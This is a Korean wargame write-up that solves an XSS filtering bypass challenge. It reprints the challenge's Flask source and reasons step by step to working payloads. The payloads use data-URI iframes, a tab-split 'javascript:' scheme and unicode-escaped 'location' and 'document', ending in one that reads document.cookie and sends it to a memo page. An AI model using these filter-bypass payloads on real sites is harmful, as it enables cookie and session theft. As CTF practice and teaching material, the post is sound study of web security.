풀이
소스를 보면
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome("/chromedriver", options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
return "filtered!!!"
advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
for f in advanced_filter:
if f in text.lower():
return "filtered!!!"
return text
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
param = xss_filter(param)
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
app.run(host="0.0.0.0", port=8000)
/vuln 페이지는
param 파라미터로 받은 입력 값을
그대로 HTML 문서에 사용한다.
/vuln 페이지 param 파라미터 입력 값에 대한
다음과 같은 필터링을 적용한다.
def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
return "filtered!!!"
advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
for f in advanced_filter:
if f in text.lower():
return "filtered!!!"
return text
/flag 페이지는
POST 요청을 통해 접근하면
param 파라미터 값과 {"name": "flag", "value": FLAG.strip()}를 매개변수로
check_xss 함수를 호출한다.
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
check_xss 함수는
/flag 페이지에서 받은 param 파라미터 값과
{"name": "flag", "value": FLAG.strip()}를 cookie라는 변수에 JSON 형태로 저장하고
이 두 값을 매개변수로 read_url 함수를 호출한다.
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
read_url 함수는
Selenium을 통해
웹 브라우저를 열고 읽는데,
cookie가 {"name": "flag", "value": FLAG.strip()} 값으로 설정된다.
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome("/chromedriver", options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
FLAG를 얻기 위해서는
/flag 페이지를 통해
/vuln 페이지 param 파라미터를 이용해
자바스크립트를 실행할 수 있어야 한다.
우선 iframe과 data URIs를 통해
alert 함수를 호출하는 데 성공했다.
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxMCk8L3NjcmlwdD4="/>
document.cookie를 호출해 봤지만
계속 아무런 일도 일어나지 않아
개발자 도구를 확인해 보니
다음과 같은 오류가 난다.
검색을 해보니
iframe 태그 내부에서 열려
origin이 null로 설정돼서
SOP 정책에 의해
특정 자원에 대해 접근이 금지된다.
다음으로
javascript: 스키마를 이용할 수 있는데
javascript는 필터링 되기 때문에
우회하는 방법이 필요하다.
드림핵 XSS Filtering Bypass - I 강의를 보면
URL 정규화라는 내용이 나온다.
URL 정규화는
다양한 이유로 여러 URL에 걸처
동일한 콘텐츠가 존재하는 경우가 있는데,
이렇게
동일한 리소스를 나타내는
서로 다른 URL들을
통일된 형태로 변환하는 과정이다.
이 과정에서
%08(backspace), %09(\t), %0a(\n) %0d(carriage return)와 같은
특수 문자들이 제거되고,
스키마의 대소문자가 통일된다.
아래 코드를 통해
alert 함수 호출에 성공했다.
<iframe src="javascri%09pt:alert`1`"/>
위를 이용해서
/memo 페이지에
memo 파라미터 값에
임의의 값을 전달하는 데 성공
<iframe src="javascri%09pt:locati\u006F\u006E='/memo?memo=Test'"/>
xss_filter 함수에서
location을 필터링한다.
자바스크립트는
Unicode escape sequence를 지원하기 때문에
unicode를 통해 우회가 가능하다
\u006F = o
\u006E = n
locati\u006F\u006E == location
이제 모두 종합해서
/flag 페이지를 이용하면 된다.
여기서 주의할 점은
스크립트의 인코딩 방식을 잘 생각해야 한다.
tab을 의미하는 %09를
%09로 입력하는 게 아니라
직접 진짜 빈 공간을 입력해야 한다.
<iframe src="javascri pt:locati\u006F\u006E='/memo?memo=Test';"/>

위 페이로드에서
Test 부분만 변경하면 된다.
<iframe src="javascri pt:locati\u006F\u006E='/memo?memo='+\u0064ocument.cookie;"/>
document도 필터링 되기 때문에
unicode를 통해 우회해 줘야 한다.
'Wargame - 웹' 카테고리의 다른 글
CSRF Advanced (0) | 2023.04.17 |
---|---|
CSP Bypass Advanced (0) | 2023.04.14 |
CSP Bypass (0) | 2023.04.14 |
[wargame.kr] strcmp & [wargame.kr] login filtering (0) | 2023.03.28 |
Apache htaccess (0) | 2023.03.23 |